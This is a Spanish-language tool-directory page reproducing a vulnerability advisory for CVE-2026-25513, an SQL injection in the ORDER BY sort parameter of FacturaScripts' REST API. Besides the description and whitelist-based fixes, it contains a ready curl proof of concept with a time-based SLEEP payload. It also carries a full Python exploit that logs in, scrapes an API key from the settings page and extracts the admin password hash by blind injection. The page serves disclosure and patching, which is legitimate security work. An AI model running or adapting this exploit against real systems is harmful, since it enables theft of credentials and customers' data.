Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-25513 — CVE-2026-25513 - FacturaScripts tiene inyección SQL en la cláusula ORDER BY de la API | Kitploit
Herramientas/GitHubGitHub/lukasz-rybak/cve-2026-25513
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHublukasz-rybak/cve-2026-25513

CVE-2026-25513

CVE-2026-25513 - FacturaScripts tiene inyección SQL en la cláusula ORDER BY de la API

Ver Repositorio
hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-25513: FacturaScripts tiene una inyección SQL en la cláusula ORDER BY de la API

Descripción general

CampoDetalles
ID de CVECVE-2026-25513
GravedadALTA
AvisoVer aviso
Descubierto porLukasz Rybak

Productos afectados

  • facturascripts/facturascripts (versiones: < 2025.81)

Clasificación CWE

  • CWE-20: Validación incorrecta de la entrada
  • CWE-89: Neutralización incorrecta de elementos especiales utilizados en un comando SQL ('Inyección SQL')
  • CWE-943: Neutralización incorrecta de elementos especiales en la lógica de consulta de datos
  • CWE-1286: Validación incorrecta de la corrección sintáctica de la entrada

Detalles

Resumen

FacturaScripts contiene una vulnerabilidad crítica de inyección SQL en la API REST que permite a los usuarios autenticados de la API ejecutar consultas SQL arbitrarias a través del parámetro sort. La vulnerabilidad existe en el método ModelClass::getOrderBy(), donde los parámetros de ordenación proporcionados por el usuario se concatenan directamente en la cláusula ORDER BY de SQL sin validación ni saneamiento. Esto afecta a todos los endpoints de la API que admiten funcionalidad de ordenación.


Detalles

La API REST de FacturaScripts expone modelos de base de datos a través de varios endpoints (p. ej., /api/3/users, /api/3/attachedfiles, /api/3/customers). Estos endpoints admiten un parámetro sort que permite a los clientes especificar el orden de los resultados. La API procesa este parámetro a través del método ModelClass::all(), que llama a la función vulnerable getOrderBy().

Ubicaciones del código vulnerable

1. Modelos heredados: Archivo: /Core/Model/Base/ModelClass.php Método: getOrderBy() Concatenación directa de claves y valores del array $order.

2. Modelos modernos (DbQuery): Archivo: /Core/DbQuery.php Método: orderBy() Líneas: 255-259

root@kitploit:~
        // If it contains parentheses, it is not escaped (VULNERABILITY!)
        if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
            $this->orderBy[] = $field . ' ' . $order;
            return $this;
        }

Esta comprobación está pensada para permitir funciones SQL, pero no las valida, lo que permite una inyección SQL arbitraria.


Prueba de concepto (PoC)

Requisitos previos

  • Token de autenticación de API válido (cabecera X-Auth-Token)
  • Acceso a los endpoints de la API de FacturaScripts

Verificación paso a paso (CLI)

Dado que FacturaScripts requiere una clave de API existente, primero iniciamos sesión a través de la interfaz web para encontrar una clave válida.

1. Iniciar sesión y obtener una clave de API válida: Gestionamos el token CSRF y las cookies de sesión para acceder a la configuración y recuperar la primera clave disponible.

root@kitploit:~
# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"

# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)

# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"

2. Verificar la inyección SQL basada en tiempo: Utilice la API_KEY extraída en la cabecera X-Auth-Token.

root@kitploit:~
# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"

# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
  "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"

Resultado esperado: La solicitud inyectada tardará significativamente más (el retraso depende de los registros de la base de datos), lo que confirma la inyección SQL.


Herramienta de explotación automatizada

Este script inicia sesión automáticamente en FacturaScripts, obtiene una clave de API válida y realiza una extracción de datos que distingue entre mayúsculas y minúsculas mediante inyección SQL ciega basada en tiempo.

root@kitploit:~
import requests
import time
import string
import re

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"

session = requests.Session()

def get_token(url):
    """Extract multireqtoken from any page"""
    res = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
    return match.group(1) if match else None

def get_api_key():
    """Logs in and retrieves the first active API key dynamically"""
    print(f"[*] Logging in as {USERNAME}...")
    
    # 1. Login flow
    token = get_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get initial CSRF token")
        return None
        
    login_data = {
        "fsNick": USERNAME,
        "fsPassword": PASSWORD,
        "action": "login",
        "multireqtoken": token
    }
    res = session.post(f"{BASE_URL}/login", data=login_data)
    if "Dashboard" not in res.text:
        print("[!] Login failed!")
        return None
    print("[+] Login successful.")

    # 2. Retrieve API Key ID from settings
    print("[*] Accessing API settings...")
    res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
    id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
    if not id_match:
        print("[!] No API keys found in system!")
        return None
    
    api_id = id_match.group(1)
    
    # 3. Get the actual API key string
    print(f"[*] Retrieving API key for ID {api_id}...")
    res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
    key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
    if not key_match:
        print("[!] Failed to extract API key from page!")
        return None
        
    return key_match.group(1)

def time_based_sqli(api_key, payload):
    """Execute time-based SQL injection and measure response time"""
    headers = {"X-Auth-Token": api_key}
    params = {
        'limit': 1,
        f'sort[{payload}]': 'ASC'
    }
    start = time.time()
    try:
        requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
    except requests.exceptions.ReadTimeout:
        return 10.0
    except:
        pass
    return time.time() - start

def extract_data(api_key, query, length=60):
    """Extracts data char by char using time-based blind SQLi"""
    extracted = ""
    charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
    
    print(f"[*] Starting extraction for query: {query}")
    for i in range(1, length + 1):
        found = False
        for char in charset:
            # Added BINARY to force case-sensitive comparison
            payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
            elapsed = time_based_sqli(api_key, payload)
            
            if elapsed >= 2.0:
                extracted += char
                print(f"[+] Found char at pos {i}: {char} -> {extracted}")
                found = True
                break
        if not found:
            break
    return extracted

def main():
    print("="*60)
    print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
    print("="*60)

    # 1. Get API Key dynamically
    api_key = get_api_key()
    if not api_key:
        return
    print(f"[+] Using API Key: {api_key}")

    # 2. Verify vulnerability
    print("[*] Verifying vulnerability...")
    if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0:
        print("[+] System is VULNERABLE!")
    else:
        print("[-] System not vulnerable or API key invalid.")
        return

    # 3. Extract Admin Password Hash
    admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'")
    print(f"\n[!] FINAL ADMIN HASH: {admin_hash}")

if __name__ == "__main__":
    main()
image

Impacto

Confidencialidad de los datos

  • Divulgación completa de la base de datos mediante técnicas de inyección SQL ciega
  • Extracción de datos sensibles, incluidos:
    • Credenciales de usuario y claves de API
    • PII de clientes (información personal identificable)
    • Registros financieros y datos de transacciones
    • Inteligencia de negocio e información de precios
    • Configuración del sistema y secretos

¿Quiénes están afectados?

  • Organizaciones que utilizan la API de FacturaScripts para integraciones
  • Aplicaciones móviles e integraciones de terceros que utilizan la API
  • Todos los usuarios cuyos datos son accesibles a través de la API
  • Socios comerciales con acceso a la API

Solución recomendada

Remediación inmediata

Opción 1: Implementar una validación estricta mediante lista blanca (recomendada)

root@kitploit:~
// File: Core/Model/Base/ModelClass.php
// Method: getOrderBy()

private static function getOrderBy(array $order): string
{
    $result = '';
    $coma = ' ORDER BY ';

    // Get valid column names from model
    $validColumns = array_keys(static::getModelFields());

    foreach ($order as $key => $value) {
        // Validate column name against whitelist
        if (!in_array($key, $validColumns, true)) {
            throw new \Exception('Invalid column name for sorting: ' . $key);
        }

        // Validate sort direction (must be ASC or DESC)
        $value = strtoupper(trim($value));
        if (!in_array($value, ['ASC', 'DESC'], true)) {
            throw new \Exception('Invalid sort direction: ' . $value);
        }

        // Escape column name
        $safeColumn = self::$dataBase->escapeColumn($key);
        $result .= $coma . $safeColumn . ' ' . $value;
        $coma = ', ';
    }

    return $result;
}

Opción 2: Usar funciones de escape de la base de datos

root@kitploit:~
private static function getOrderBy(array $order): string
{
    $result = '';
    $coma = ' ORDER BY ';

    foreach ($order as $key => $value) {
        // Escape identifiers and validate direction
        $safeColumn = self::$dataBase->escapeColumn($key);
        $safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])
            ? strtoupper($value)
            : 'ASC';

        $result .= $coma . $safeColumn . ' ' . $safeDirection;
        $coma = ', ';
    }

    return $result;
}

Opción 3: Usar el patrón Query Builder

root@kitploit:~
// Refactor to use prepared statements
public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array
{
    $query = self::table();

    // Apply WHERE conditions
    foreach ($where as $condition) {
        $query->where($condition);
    }

    // Apply ORDER BY with validation
    foreach ($order as $column => $direction) {
        if (!array_key_exists($column, static::getModelFields())) {
            continue; // Skip invalid columns
        }
        $query->orderBy($column, $direction);
    }

    return $query->offset($offset)->limit($limit)->get();
}

Buenas prácticas de seguridad de la API

root@kitploit:~
// Add to API configuration
$config = [
    'max_sort_fields' => 3,  // Limit number of sort fields
    'allowed_sort_fields' => ['id', 'date', 'name'],  // Whitelist
    'default_sort' => 'id ASC',  // Safe default
];

Créditos

Descubierto por: Łukasz Rybak

Referencias

  • https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cjfx-qhwm-hf99
  • https://github.com/NeoRazorX/facturascripts/commit/1b6cdfa9ee1bb3365ea4a4ad753452035a027605
  • https://nvd.nist.gov/vuln/detail/CVE-2026-25513
  • https://github.com/advisories/GHSA-cjfx-qhwm-hf99

Aviso legal

Este CVE fue divulgado de manera responsable siguiendo las prácticas de divulgación coordinada de vulnerabilidades. La información proporcionada aquí tiene fines exclusivamente educativos y defensivos.

Descargar herramienta